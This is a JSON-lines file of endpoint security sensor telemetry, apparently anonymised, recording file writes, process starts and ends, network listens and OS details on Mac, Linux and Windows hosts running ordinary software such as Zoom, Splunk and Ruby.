-{"event_simpleName":"NewExecutableWritten","ContextTimeStamp":"1625677533.027","ConfigStateHash":"1620585913","ContextProcessId":"362208380891022165","Size":"596224","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewExecutableWrittenMacV2","id":"ffffffff-1111-11eb-985c-02152dd35bc1","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677533060","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS/app_mode_loader","VnodeModificationType":"0"} -{"event_simpleName":"LfoUploadDataComplete","LfoUploadFlags":"4","AttemptNumber":"0","ConfigStateHash":"3090255842","SourceFileName":"/Users/user5/.rbenv/versions/2.6.5/bin/ruby","Size":"3876424","aip":"67.43.156.14","SHA256HashData":"d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a","UploadId":"8023668629276690295","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LfoUploadDataCompleteMacV3","id":"ffffffff-1111-11eb-a2ab-024aafff599f","EffectiveTransmissionClass":"2","aid":"fffffffffbea48169985c2c2bae89d1d","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677428827","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"LightningLatencyInfo","LightningLatencyState":"3","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LightningLatencyInfoMacV1","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","EffectiveTransmissionClass":"0","aid":"ffffffffd452449b8d1eb7d85b146650","timestamp":"1625677453146","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"NeighborListIP4","ConfigStateHash":"1620585913","NeighborList":"40-C7-29-FF-FF-FF|192.168.2.1|1|64-9A-BE-FF-FF-FF|192.168.2.10|0|F0-FF-FF-FF-A0-14|192.168.2.43|0|DE-58-FF-FF-5D-3B|192.168.2.113|0|5E-AA-FF-FF-FF-20|192.168.2.128|0|44-FF-FF-FF-03-DD|192.168.2.136|0|EE-74-EE-EE-FF-0D|192.168.2.137|0|3A-FF-FF-FF-03-26|192.168.2.144|0|DE-79-FF-FF-FF-D4|192.168.2.145|0|0E-24-FF-EE-EE-87|192.168.2.152|0|CC-D9-AC-AF-66-F8|192.168.2.153|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP4MacV1","id":"ffffffff-1111-11eb-9dc0-06c6f5278873","EffectiveTransmissionClass":"3","aid":"ffffffff8eb649cf8d82be1e65629a0e","timestamp":"1625677450083","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"ZipFileWritten","ContextTimeStamp":"1625677454.557","ConfigStateHash":"3090255842","ContextProcessId":"365039419134863763","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"07000001000000000000000000000000b1445a0900000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ZipFileWrittenMacV1","id":"ffffffff-1111-11eb-ab6e-0668ec51180b","EffectiveTransmissionClass":"2","aid":"ffffffff2d984e32b702789b54f0f811","timestamp":"1625677454723","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache/2021-07-06T23:44:46.133Z.zip"} -{"AgentVersion":"6.24.13701.0","aip":"67.43.156.14","ConfigIDBase":"65994753","BiosReleaseDate":"01/06/2021","CpuFeaturesMask":"7494065083858915","ChasisManufacturer":"Apple Inc.","SystemSerialNumber":"C02F649EMD6R","event_platform":"Mac","AgentLoadFlags":"0","CpuVendor":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","BiosVersion":"1554.80.3.0.0 (iBridge: 18.16.14347.0.0,0)","CpuSignature":"591594","EffectiveTransmissionClass":"0","MoboProductName":"Mac-E1008331FDC96864","timestamp":"1625677460451","MicrocodeSignature":"16045690984229358334","event_simpleName":"AgentOnline","ContextTimeStamp":"1625677445.731","SystemProductName":"MacBookPro16,1","MoboManufacturer":"Apple Inc.","ConfigStateHash":"3967242894","ConfigBuild":"1007.4.0013701.1","SystemSku":" ","SensorGroupingTags":"","ConfigurationVersion":"10","AgentLocalTime":"1625677445.731","BiosManufacturer":"Apple Inc.","Entitlements":"15","name":"AgentOnlineMacV13","ConfigIDPlatform":"4","ComputerName":"comp2","ChassisType":"9","ConfigIDBuild":"13701","SystemManufacturer":"Apple Inc.","aid":"ffffffffbea440b9aad8b5bf222d303f","ProvisionState":"1","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"Zero"} -{"event_simpleName":"CriticalFileAccessed","ContextTimeStamp":"1625677438.515","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053399098988534","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileAccessedMacV1","id":"ffffffff-1111-11eb-956a-02748d01bd3d","EffectiveTransmissionClass":"2","aid":"ffffffff8eca418b7a861be9c5f7de1d","timestamp":"1625677438553","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/daemon.plist"} -{"MajorVersion":"19","event_simpleName":"OsVersionInfo","OSVersionFileData":"3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c21444f435459504520706c697374205055424c494320222d2f2f4170706c652f2f44544420504c49535420312e302f2f454e222022687474703a2f2f7777772e6170706c652e636f6d2f445444732f50726f70657274794c6973742d312e302e647464223e0a3c706c6973742076657273696f6e3d22312e30223e0a3c646963743e0a093c6b65793e50726f647563744275696c6456657273696f6e3c2f6b65793e0a093c737472696e673e3139483532343c2f737472696e673e0a093c6b65793e50726f64756374436f707972696768743c2f6b65793e0a093c737472696e673e313938332d32303231204170706c6520496e632e3c2f737472696e673e0a093c6b65793e50726f647563744e616d653c2f6b65793e0a093c737472696e673e4d6163204f5320583c2f737472696e673e0a093c6b65793e50726f647563745573657256697369626c6556657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e50726f6475637456657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e694f53537570706f727456657273696f6e3c2f6b65793e0a093c737472696e673e31332e363c2f737472696e673e0a3c2f646963743e0a3c2f706c6973743e0a","ConfigStateHash":"3967242894","AgentVersion":"6.24.13701.0","aip":"67.43.156.14","MinorVersion":"6","OSVersionString":"Darwin Kernel Version 19.6.0: Tue Jan 12 22:13:05 PST 2021; root:xnu-6153.141.16~1/RELEASE_X86_64","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OsVersionInfoMacV3","RFMState":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","OSVersionFileName":"/System/Library/CoreServices/SystemVersion.plist","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677462356","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ConfigBuild":"1007.8.0010912.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1284133626","ConfigStateData":"0,0,1007.8.0010912.1|1,c,0|1,10,1|1,11,0|1,12,1|1,13,1|1,14,19|1,15,3|1,1f,4|1,22,3|1,3b,1|1,59,2d|1,d3,263|1,d4,0|1,eb,36|1,201,1|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-8e88-068a8894a447","aid":"ffffffff4f4044b689d6420d303e4ecd","timestamp":"1625677436454","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"1333055909","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53","DownloadPort":"443","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"LFODownloadConfirmationLinV1","CompletionEventId":"Event_KmaExtDownloadCompleteLinV1","id":"ffffffff-1111-11eb-8dee-0201f64cca29","aid":"ffffffff88b948c6abeeee910f6d8c33","timestamp":"1625677365906","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"KernelModuleArchiveExt11611"} -{"event_simpleName":"TarFileWritten","ContextTimeStamp":"1625677353.633","ConfigStateHash":"3090255842","ContextProcessId":"365049009681176519","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"050000010000000000000000000000005749420100000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"TarFileWrittenMacV1","id":"ffffffff-1111-11eb-9497-028a0bfcf603","EffectiveTransmissionClass":"2","aid":"ffffffffe6244708bd09a6c111f63f4a","timestamp":"1625677353895","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache/database_cleaner-1.8.5.gem"} -{"event_simpleName":"AgentConnect","ConfigStateHash":"3967242894","NetworkContainmentState":"0","VerifiedCertificate":"7431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf","aip":"67.43.156.14","ConfigIDBase":"65994753","FailedConnectCount":"404","ConnectType":"1","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"AgentConnectMacV5","ConfigIDPlatform":"4","PreviousConnectTime":"1625673963.331","id":"ffffffff-1111-11eb-ba54-02a3616f6acd","ConfigIDBuild":"13701","ConnectTime":"1625677350.208","EffectiveTransmissionClass":"2","aid":"ffffffff2977460db2898ece881a9358","ProvisionState":"0","timestamp":"1625677350466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"3090255842","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys","DownloadPort":"443","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LFODownloadConfirmationMacV1","CompletionEventId":"Event_ChannelDataDownloadCompleteMacV1","id":"ffffffff-1111-11eb-8b09-069ee8920171","EffectiveTransmissionClass":"0","aid":"ffffffff5e8b4724aa10088c4f71cd9a","timestamp":"1625677525235","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"C-00000503-00000000-00000001.sys"} -{"event_simpleName":"AsepFileChange","ContextTimeStamp":"1625677482.148","ConfigStateHash":"1620585913","ContextProcessId":"364936256754041721","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"AsepFileChangeMacV1","id":"ffffffff-1111-11eb-9e50-064be6e56df7","EffectiveTransmissionClass":"2","aid":"fffffffff1a64286a233d09974b1b377","timestamp":"1625677482403","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS/SystemPrefs","VnodeModificationType":"6"} -{"event_simpleName":"TerminateProcess","RawProcessId":"76482","ContextTimeStamp":"1625677510.959","ConfigStateHash":"1284133626","ContextProcessId":"130732827553316","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0010912.1","event_platform":"Lin","TargetProcessId":"130732827553316","Entitlements":"15","name":"TerminateProcessLinV2","id":"ffffffff-1111-11eb-97d0-02b2813216eb","EffectiveTransmissionClass":"2","aid":"ffffffffdd094539a02b394c69a70aaf","timestamp":"1625677511067","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ConfigBuild":"1007.4.0013701.1","event_simpleName":"FirewallEnabled","event_platform":"Mac","ConfigStateHash":"3090255842","Entitlements":"15","name":"FirewallEnabledMacV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-a9e6-067d21325a03","EffectiveTransmissionClass":"2","aid":"ffffffff70cf4070af024397f25007c7","timestamp":"1625677372544","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"FsVolumeUnmounted","VolumeName":"Install Google Drive","ContextTimeStamp":"1625677332.283","ConfigStateHash":"3090255842","aip":"67.43.156.14","VolumeMediaBSDName":"disk2s2","VolumeMountPoint":"/private/tmp/KSInstallAction.dn6J5Xa1M4/m","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"FsVolumeUnmountedMacV1","id":"ffffffff-1111-11eb-8fd9-06866dcbd3d5","EffectiveTransmissionClass":"2","aid":"ffffffffed984e248973f3ada1eb543d","timestamp":"1625677334451","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"} -{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677474.525","ConfigStateHash":"2300098580","ConnectionFlags":"0","ContextProcessId":"328911864662804336","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"23165","Entitlements":"15","name":"NetworkListenIP4LinV5","id":"ffffffff-1111-11eb-88fd-06a17d0fdc05","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff2a0d484da8f7a9cf8bde7164","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677474879","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"ELFFileWritten","ContextTimeStamp":"1625677526.828","ConfigStateHash":"1620585913","ContextProcessId":"363122200934575406","Size":"38798952","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027","FileIdentifier":"040000010000000000000000000000006793f80200000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ELFFileWrittenMacV1","id":"ffffffff-1111-11eb-985c-02152dd35bc1","ELFSubType":"4","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677527114","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64/zoom_x86_64.nexe"} -{"MajorVersion":"4","event_simpleName":"OsVersionInfo","OSVersionFileData":"4e414d453d22416d617a6f6e204c696e7578220a56455253494f4e3d2232220a49443d22616d7a6e220a49445f4c494b453d2263656e746f73207268656c206665646f7261220a56455253494f4e5f49443d2232220a5052455454595f4e414d453d22416d617a6f6e204c696e75782032220a414e53495f434f4c4f523d22303b3333220a4350455f4e414d453d226370653a322e333a6f3a616d617a6f6e3a616d617a6f6e5f6c696e75783a32220a484f4d455f55524c3d2268747470733a2f2f616d617a6f6e6c696e75782e636f6d2f220a","BootArgs":"BOOT_IMAGE\u003d/boot/vmlinuz-4.14.232-176.381.amzn2.x86_64 root\u003dUUID\u003d9f548782-8f9f-4dd9-873a-436ea8f3e8a6 ro console\u003dtty0 console\u003dttyS0,115200n8 net.ifnames\u003d0 biosdevname\u003d0 nvme_core.io_timeout\u003d4294967295 rd.emergency\u003dpoweroff rd.shell\u003d0","ConfigStateHash":"3712162471","AgentVersion":"6.19.11611.0","aip":"67.43.156.14","MinorVersion":"14","OSVersionString":"Linux localhost 4.14.232-176.381.amzn2.x86_64 #1 SMP Wed May 19 00:31:54 UTC 2021 x86_64","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"OsVersionInfoLinV4","RFMState":"1","id":"ffffffff-1111-11eb-93d4-0624c36f3a79","OSVersionFileName":"/etc/os-release","aid":"ffffffff2d1245c0a32d5efcf9351272","timestamp":"1625677383466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"CriticalFileModified","ContextTimeStamp":"1625677439.099","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"364849347227309005","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"04000001000000000000000000000000cdf3100100000000","ConfigBuild":"1007.4.0013701.1","UID":"0","USN":"89566685","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileModifiedMacV2","id":"ffffffff-1111-11eb-9262-0268ab613b49","EffectiveTransmissionClass":"2","aid":"ffffffff761b4a7d9962dd9e7e776044","timestamp":"1625677439398","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/user9.plist/"} -{"event_simpleName":"NeighborListIP6","ConfigStateHash":"3090255842","NeighborList":"1C-AB-C0-9B-10-A2|2607:fea8:720:1bc8:1eab:c0ff:fe9b:10a2|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP6MacV1","id":"ffffffff-1111-11eb-ac8a-06b5e1186139","EffectiveTransmissionClass":"3","aid":"ffffffff01c7450180352a7c58a28fb4","timestamp":"1625677489786","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677382.785","UserName":"user3","ConfigStateHash":"1325353086","ContextProcessId":"364952259879648742","Size":"8052","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6","FileIdentifier":"04000001000000000000000000000000ef07570000000000","ConfigBuild":"1007.4.0013806.1","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"15","name":"NewScriptWrittenMacV3","id":"ffffffff-1111-11eb-9dc1-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffffcebd42c0890d59b54279d3d3","timestamp":"1625677383057","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/git/it_eng_scripts/depnotify_starter/dep_notify_starter.sh"} -{"event_simpleName":"SystemCapacity","ConfigStateHash":"1620585913","aip":"67.43.156.13","CpuClockSpeed":"2400000000","PhysicalCoreCount":"8","CpuFeaturesMask":"7494065083908067","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LogicalCoreCount":"16","Entitlements":"15","name":"SystemCapacityMacV1","CpuVendor":"0","CpuProcessorName":"Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz","id":"ffffffff-1111-11eb-b714-066001392751","CpuSignature":"591597","EffectiveTransmissionClass":"3","aid":"fffffffff2c7432859ff6bbe1a0bd6af","ProcessorPackageCount":"1","MemoryTotal":"17179869184","timestamp":"1625677387216","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"FirmwareAnalysisStatus","ConfigStateHash":"3090255842","FirmwareAnalysisEclControlInterfaceVersion":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","FirmwareAnalysisEclConsumerInterfaceVersion":"0","BootTimeFunctionalityLevel":"255","ReasonOfFunctionalityLevel":"3","CurrentFunctionalityLevel":"2","Entitlements":"15","name":"FirmwareAnalysisStatusMacV2","id":"ffffffff-1111-11eb-ba57-0214a0d89bf7","EffectiveTransmissionClass":"0","aid":"ffffffff0d7b4d839912e55b4755e85b","timestamp":"1625677368429","cid":"ffffffff15754bcfb5f9152ec7ac90ac","PciAttachmentState":"65535"} -{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.13","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"utun2","InDiscards":"0","InterfaceIndex":"17","event_platform":"Mac","InterfaceType":"1","id":"ffffffff-1111-11eb-a272-0294ad12fbe7","PhysicalAddressLength":"0","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677504544","LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"3090255842","PhysicalAddress":"","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressIP4MacV1","aid":"ffffffff557f4b99a0afdea9ce8cd6fa","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"CommandLine":"uname -a","ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","Entitlements":"15","GID":"0","ImageFileName":"/bin/uname","MD5HashData":"894356eb59e279696c304f07091b7fde","NDRoot":"321385814512398584","ParentProcessId":"321385814512398584","ProcessEndTime":"1604855099.126","ProcessGroupId":"0","ProcessStartTime":"1604855099.126","RGID":"0","RUID":"0","RawProcessId":"51342","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa","SVGID":"0","SVUID":"0","SessionProcessId":"314116638974342642","SourceProcessId":"321385814512398584","SourceThreadId":"0","TargetProcessId":"321385814512398605","UID":"0","aid":"ffffffff70d140ca9ba97f0dddd14137","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-ac87-06decddc17a1","name":"ProcessRollup2LinV5","timestamp":"1604855099681"} -{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"317713210176499254","ContextThreadId":"0","ContextTimeStamp":"1604855096.730","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"28987","SHA256HashData":"6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"317713210176499254","aid":"ffffffff75fc48f15cfe5f095e605c4c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-809e-02fff4e55a49","name":"EndOfProcessMacV14","timestamp":"1604855099646"} -{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"38188","ConHostProcessId":"3099352216141","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextData":"","ContextProcessId":"3100508103359","ContextThreadId":"93436292950223","ContextTimeStamp":"1604855097.926","CreateProcessCount":"0","CycleTime":"2937514388","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"1","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"2","GenericFileWrittenCount":"0","ImageSubsystem":"3","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"7500000","MaxThreadCount":"4","ModuleLoadCount":"38","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"3099350649383","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855096.463","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"33016","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"3100508103359","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-5-18","UserTime":"6406250","aid":"ffffffffb5db4b2e7ec89aba537adcc2","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"EndOfProcessV15","timestamp":"1604855099935"} -{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","ContextProcessId":"311775981885093125","ContextThreadId":"0","ContextTimeStamp":"1604855101.341","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"10507","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"311775981885093125","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"EndOfProcessMacV12","timestamp":"1604855100139"} -{"AuthenticationId":"999","CommandLine":"D:\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe --ps2","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume2\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe","ImageSubsystem":"3","IntegrityLevel":"16384","MD5HashData":"571391f723a439e985a2064337e2802a","ParentAuthenticationId":"999","ParentBaseFileName":"splunkd.exe","ParentProcessId":"17346335177","ProcessCreateFlags":"67634688","ProcessEndTime":"","ProcessParameterFlags":"24577","ProcessStartTime":"1604855099.406","ProcessSxsFlags":"64","RawProcessId":"6116","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720","SessionId":"0","SourceProcessId":"17346335177","SourceThreadId":"107650023406","Tags":"27, 151, 12094627905582, 12094627906234","TargetProcessId":"583707537390","TokenType":"1","UserSid":"S-1-5-18","WindowFlags":"384","aid":"ffffffff3a5a424fa02450da53619745","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-a09e-06f79d630255","name":"ProcessRollup2V17","timestamp":"1604855100030"} 